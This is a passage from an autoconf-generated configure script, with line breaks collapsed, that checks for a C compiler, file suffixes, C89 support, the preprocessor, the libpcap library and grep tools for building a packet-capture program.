as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CC="gcc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 $as_echo "$ac_ct_CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test "x$ac_ct_CC" = x; then CC="" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac CC=$ac_ct_CC fi else CC="$ac_cv_prog_CC" fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. set dummy ${ac_tool_prefix}cc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_CC+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="${ac_tool_prefix}cc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi fi if test -z "$CC"; then # Extract the first word of "cc", so it can be a program name with args. set dummy cc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_CC+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else ac_prog_rejected=no as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then ac_prog_rejected=yes continue fi ac_cv_prog_CC="cc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS if test $ac_prog_rejected = yes; then # We found a bogon in the path, so make sure we never use it. set dummy $ac_cv_prog_CC shift if test $# != 0; then # We chose a different compiler from the bogus one. # However, it has the same basename, so the bogon will be chosen # first if we set CC to just the basename; use the full file name. shift ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" fi fi fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then for ac_prog in cl.exe do # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. set dummy $ac_tool_prefix$ac_prog; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_CC+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="$ac_tool_prefix$ac_prog" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi test -n "$CC" && break done fi if test -z "$CC"; then ac_ct_CC=$CC for ac_prog in cl.exe do # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_ac_ct_CC+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CC="$ac_prog" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 $as_echo "$ac_ct_CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi test -n "$ac_ct_CC" && break done if test "x$ac_ct_CC" = x; then CC="" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac CC=$ac_ct_CC fi fi fi test -z "$CC" && { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "no acceptable C compiler found in \$PATH See \`config.log' for more details" "$LINENO" 5; } # Provide some information about the compiler. $as_echo "$as_me:${as_lineno-$LINENO}: checking for C compiler version" >&5 set X $ac_compile ac_compiler=$2 for ac_option in --version -v -V -qversion; do { { ac_try="$ac_compiler $ac_option >&5" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_compiler $ac_option >&5") 2>conftest.err ac_status=$? if test -s conftest.err; then sed '10a\ ... rest of stderr output deleted ... 10q' conftest.err >conftest.er1 cat conftest.er1 >&5 fi rm -f conftest.er1 conftest.err $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } done cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF ac_clean_files_save=$ac_clean_files ac_clean_files="$ac_clean_files a.out a.out.dSYM a.exe b.out" # Try to create an executable without -o first, disregard a.out. # It will help us diagnose broken compilers, and finding out an intuition # of exeext. { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the C compiler works" >&5 $as_echo_n "checking whether the C compiler works... " >&6; } ac_link_default=`$as_echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'` # The possible output files: ac_files="a.out conftest.exe conftest a.exe a_out.exe b.out conftest.*" ac_rmfiles= for ac_file in $ac_files do case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; * ) ac_rmfiles="$ac_rmfiles $ac_file";; esac done rm -f $ac_rmfiles if { { ac_try="$ac_link_default" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link_default") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then : # Autoconf-2.13 could set the ac_cv_exeext variable to `no'. # So ignore a value of `no', otherwise this would lead to `EXEEXT = no' # in a Makefile. We should not override ac_cv_exeext if it was cached, # so that the user can short-circuit this test for compilers unknown to # Autoconf. for ac_file in $ac_files '' do test -f "$ac_file" || continue case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; [ab].out ) # We found the default executable, but exeext='' is most # certainly right. break;; *.* ) if test "${ac_cv_exeext+set}" = set && test "$ac_cv_exeext" != no; then :; else ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` fi # We set ac_cv_exeext here because the later test for it is not # safe: cross compilers may not add the suffix if given an `-o' # argument, so we may need to know it at that point already. # Even if this section looks crufty: it has the advantage of # actually working. break;; * ) break;; esac done test "$ac_cv_exeext" = no && ac_cv_exeext= else ac_file='' fi if test -z "$ac_file"; then : { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error 77 "C compiler cannot create executables See \`config.log' for more details" "$LINENO" 5; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; } fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for C compiler default output file name" >&5 $as_echo_n "checking for C compiler default output file name... " >&6; } { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_file" >&5 $as_echo "$ac_file" >&6; } ac_exeext=$ac_cv_exeext rm -f -r a.out a.out.dSYM a.exe conftest$ac_cv_exeext b.out ac_clean_files=$ac_clean_files_save { $as_echo "$as_me:${as_lineno-$LINENO}: checking for suffix of executables" >&5 $as_echo_n "checking for suffix of executables... " >&6; } if { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then : # If both `conftest.exe' and `conftest' are `present' (well, observable) # catch `conftest.exe'. For instance with Cygwin, `ls conftest' will # work properly (i.e., refer to `conftest.exe'), while it won't with # `rm'. for ac_file in conftest.exe conftest conftest.*; do test -f "$ac_file" || continue case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` break;; * ) break;; esac done else { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "cannot compute suffix of executables: cannot compile and link See \`config.log' for more details" "$LINENO" 5; } fi rm -f conftest conftest$ac_cv_exeext { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_exeext" >&5 $as_echo "$ac_cv_exeext" >&6; } rm -f conftest.$ac_ext EXEEXT=$ac_cv_exeext ac_exeext=$EXEEXT cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include int main () { FILE *f = fopen ("conftest.out", "w"); return ferror (f) || fclose (f) != 0; ; return 0; } _ACEOF ac_clean_files="$ac_clean_files conftest.out" # Check that the compiler produces executables we can run. If not, either # the compiler is broken, or we cross compile. { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are cross compiling" >&5 $as_echo_n "checking whether we are cross compiling... " >&6; } if test "$cross_compiling" != yes; then { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } if { ac_try='./conftest$ac_cv_exeext' { { case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_try") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; }; then cross_compiling=no else if test "$cross_compiling" = maybe; then cross_compiling=yes else { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "cannot run C compiled programs. If you meant to cross compile, use \`--host'. See \`config.log' for more details" "$LINENO" 5; } fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $cross_compiling" >&5 $as_echo "$cross_compiling" >&6; } rm -f conftest.$ac_ext conftest$ac_cv_exeext conftest.out ac_clean_files=$ac_clean_files_save { $as_echo "$as_me:${as_lineno-$LINENO}: checking for suffix of object files" >&5 $as_echo_n "checking for suffix of object files... " >&6; } if ${ac_cv_objext+:} false; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF rm -f conftest.o conftest.obj if { { ac_try="$ac_compile" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_compile") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then : for ac_file in conftest.o conftest.obj conftest.*; do test -f "$ac_file" || continue; case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM ) ;; *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'` break;; esac done else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "cannot compute suffix of object files: cannot compile See \`config.log' for more details" "$LINENO" 5; } fi rm -f conftest.$ac_cv_objext conftest.$ac_ext fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_objext" >&5 $as_echo "$ac_cv_objext" >&6; } OBJEXT=$ac_cv_objext ac_objext=$OBJEXT { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are using the GNU C compiler" >&5 $as_echo_n "checking whether we are using the GNU C compiler... " >&6; } if ${ac_cv_c_compiler_gnu+:} false; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { #ifndef __GNUC__ choke me #endif ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_compiler_gnu=yes else ac_compiler_gnu=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext ac_cv_c_compiler_gnu=$ac_compiler_gnu fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_compiler_gnu" >&5 $as_echo "$ac_cv_c_compiler_gnu" >&6; } if test $ac_compiler_gnu = yes; then GCC=yes else GCC= fi ac_test_CFLAGS=${CFLAGS+set} ac_save_CFLAGS=$CFLAGS { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether $CC accepts -g" >&5 $as_echo_n "checking whether $CC accepts -g... " >&6; } if ${ac_cv_prog_cc_g+:} false; then : $as_echo_n "(cached) " >&6 else ac_save_c_werror_flag=$ac_c_werror_flag ac_c_werror_flag=yes ac_cv_prog_cc_g=no CFLAGS="-g" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_prog_cc_g=yes else CFLAGS="" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : else ac_c_werror_flag=$ac_save_c_werror_flag CFLAGS="-g" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_prog_cc_g=yes fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext ac_c_werror_flag=$ac_save_c_werror_flag fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_g" >&5 $as_echo "$ac_cv_prog_cc_g" >&6; } if test "$ac_test_CFLAGS" = set; then CFLAGS=$ac_save_CFLAGS elif test $ac_cv_prog_cc_g = yes; then if test "$GCC" = yes; then CFLAGS="-g -O2" else CFLAGS="-g" fi else if test "$GCC" = yes; then CFLAGS="-O2" else CFLAGS= fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $CC option to accept ISO C89" >&5 $as_echo_n "checking for $CC option to accept ISO C89... " >&6; } if ${ac_cv_prog_cc_c89+:} false; then : $as_echo_n "(cached) " >&6 else ac_cv_prog_cc_c89=no ac_save_CC=$CC cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include struct stat; /* Most of the following tests are stolen from RCS 5.7's src/conf.sh. */ struct buf { int x; }; FILE * (*rcsopen) (struct buf *, struct stat *, int); static char *e (p, i) char **p; int i; { return p[i]; } static char *f (char * (*g) (char **, int), char **p, ...) { char *s; va_list v; va_start (v,p); s = g (p, va_arg (v,int)); va_end (v); return s; } /* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has function prototypes and stuff, but not '\xHH' hex character constants. These don't provoke an error unfortunately, instead are silently treated as 'x'. The following induces an error, until -std is added to get proper ANSI mode. Curiously '\x00'!='x' always comes out true, for an array size at least. It's necessary to write '\x00'==0 to get something that's true only with -std. */ int osf4_cc_array ['\x00' == 0 ? 1 : -1]; /* IBM C 6 for AIX is almost-ANSI by default, but it replaces macro parameters inside strings and character constants. */ #define FOO(x) 'x' int xlc6_cc_array[FOO(a) == 'x' ? 1 : -1]; int test (int i, double x); struct s1 {int (*f) (int a);}; struct s2 {int (*f) (double a);}; int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int); int argc; char **argv; int main () { return f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]; ; return 0; } _ACEOF for ac_arg in '' -qlanglvl=extc89 -qlanglvl=ansi -std \ -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__" do CC="$ac_save_CC $ac_arg" if ac_fn_c_try_compile "$LINENO"; then : ac_cv_prog_cc_c89=$ac_arg fi rm -f core conftest.err conftest.$ac_objext test "x$ac_cv_prog_cc_c89" != "xno" && break done rm -f conftest.$ac_ext CC=$ac_save_CC fi # AC_CACHE_VAL case "x$ac_cv_prog_cc_c89" in x) { $as_echo "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 $as_echo "none needed" >&6; } ;; xno) { $as_echo "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 $as_echo "unsupported" >&6; } ;; *) CC="$CC $ac_cv_prog_cc_c89" { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c89" >&5 $as_echo "$ac_cv_prog_cc_c89" >&6; } ;; esac if test "x$ac_cv_prog_cc_c89" != xno; then : fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu CFLAGS="-Wall $CFLAGS" LDFLAGS="-lm -lpcap $LDFLAGS" { $as_echo "$as_me:${as_lineno-$LINENO}: checking for pcap_open_live in -lpcap" >&5 $as_echo_n "checking for pcap_open_live in -lpcap... " >&6; } if ${ac_cv_lib_pcap_pcap_open_live+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lpcap $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char pcap_open_live (); int main () { return pcap_open_live (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_pcap_pcap_open_live=yes else ac_cv_lib_pcap_pcap_open_live=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_pcap_pcap_open_live" >&5 $as_echo "$ac_cv_lib_pcap_pcap_open_live" >&6; } if test "x$ac_cv_lib_pcap_pcap_open_live" = xyes; then : cat >>confdefs.h <<_ACEOF #define HAVE_LIBPCAP 1 _ACEOF LIBS="-lpcap $LIBS" else echo "error: pcap library not found!"; exit -1 fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to run the C preprocessor" >&5 $as_echo_n "checking how to run the C preprocessor... " >&6; } # On Suns, sometimes $CPP names a directory. if test -n "$CPP" && test -d "$CPP"; then CPP= fi if test -z "$CPP"; then if ${ac_cv_prog_CPP+:} false; then : $as_echo_n "(cached) " >&6 else # Double quotes because CPP needs to be expanded for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp" do ac_preproc_ok=false for ac_c_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : else # Broken: fails on valid input. continue fi rm -f conftest.err conftest.i conftest.$ac_ext # OK, works on sane cases. Now check whether nonexistent headers # can be detected and how. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : # Broken: success on invalid input. continue else # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.i conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.i conftest.err conftest.$ac_ext if $ac_preproc_ok; then : break fi done ac_cv_prog_CPP=$CPP fi CPP=$ac_cv_prog_CPP else ac_cv_prog_CPP=$CPP fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CPP" >&5 $as_echo "$CPP" >&6; } ac_preproc_ok=false for ac_c_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : else # Broken: fails on valid input. continue fi rm -f conftest.err conftest.i conftest.$ac_ext # OK, works on sane cases. Now check whether nonexistent headers # can be detected and how. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : # Broken: success on invalid input. continue else # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.i conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.i conftest.err conftest.$ac_ext if $ac_preproc_ok; then : else { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "C preprocessor \"$CPP\" fails sanity check See \`config.log' for more details" "$LINENO" 5; } fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu { $as_echo "$as_me:${as_lineno-$LINENO}: checking for grep that handles long lines and -e" >&5 $as_echo_n "checking for grep that handles long lines and -e... " >&6; } if ${ac_cv_path_GREP+:} false; then : $as_echo_n "(cached) " >&6 else if test -z "$GREP"; then ac_path_GREP_found=false # Loop through the user's path and test for each of PROGNAME-LIST as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_prog in grep ggrep; do for ac_exec_ext in '' $ac_executable_extensions; do ac_path_GREP="$as_dir/$ac_prog$ac_exec_ext" as_fn_executable_p "$ac_path_GREP" || continue # Check for GNU ac_path_GREP and select it if it is found. # Check for GNU $ac_path_GREP case `"$ac_path_GREP" --version 2>&1` in *GNU*) ac_cv_path_GREP="$ac_path_GREP" ac_path_GREP_found=:;; *) ac_count=0 $as_echo_n 0123456789 >"conftest.in" while : do cat "conftest.in" "conftest.in" >"conftest.tmp" mv "conftest.tmp" "conftest.in" cp "conftest.in" "conftest.nl" $as_echo 'GREP' >> "conftest.nl" "$ac_path_GREP" -e 'GREP$' -e '-(cannot match)-' < "conftest.nl" >"conftest.out" 2>/dev/null || break diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break as_fn_arith $ac_count + 1 && ac_count=$as_val if test $ac_count -gt ${ac_path_GREP_max-0}; then # Best one so far, save it but keep looking for a better one ac_cv_path_GREP="$ac_path_GREP" ac_path_GREP_max=$ac_count fi # 10*(2^10) chars as input seems more than enough test $ac_count -gt 10 && break done rm -f conftest.in conftest.tmp conftest.nl conftest.out;; esac $ac_path_GREP_found && break 3 done done done IFS=$as_save_IFS if test -z "$ac_cv_path_GREP"; then as_fn_error $? "no acceptable grep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5 fi else ac_cv_path_GREP=$GREP fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_GREP" >&5 $as_echo "$ac_cv_path_GREP" >&6; } GREP="$ac_cv_path_GREP" { $as_echo "$as_me:${as_lineno-$LINENO}: checking for egrep" >&5 $as_echo_n "checking for egrep... " >&6; } if ${ac_cv_path_EGREP+:} false; then : $as_echo_n "(cached) " >&6 else if echo a | $GREP -E '(a|b)' >/dev/null 2>&1 then ac_cv_path_EGREP="$GREP -E" else if test -z "$EGREP"; then ac_path_EGREP_found=false # Loop through the user's path and test for each of PROGNAME-LIST as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_prog in egrep; do for ac_exec_ext in '' $ac_executable_extensions; do ac_path_EGREP="$as_dir/$ac_prog$ac_exec_ext" as_fn_executable_p "$ac_path_EGREP" || continue # Check for GNU ac_path_EGREP and select it if it is found. # Check for GNU $ac_path_EGREP case `"$ac_path_EGREP" --version 2>&1` in *GNU*) ac_cv_path_EGREP="$ac_path_EGREP" ac_path_EGREP_found=:;; *) ac_count=0 $as_echo_n 0123456789 >"conftest.in" while : do cat "conftest.in" 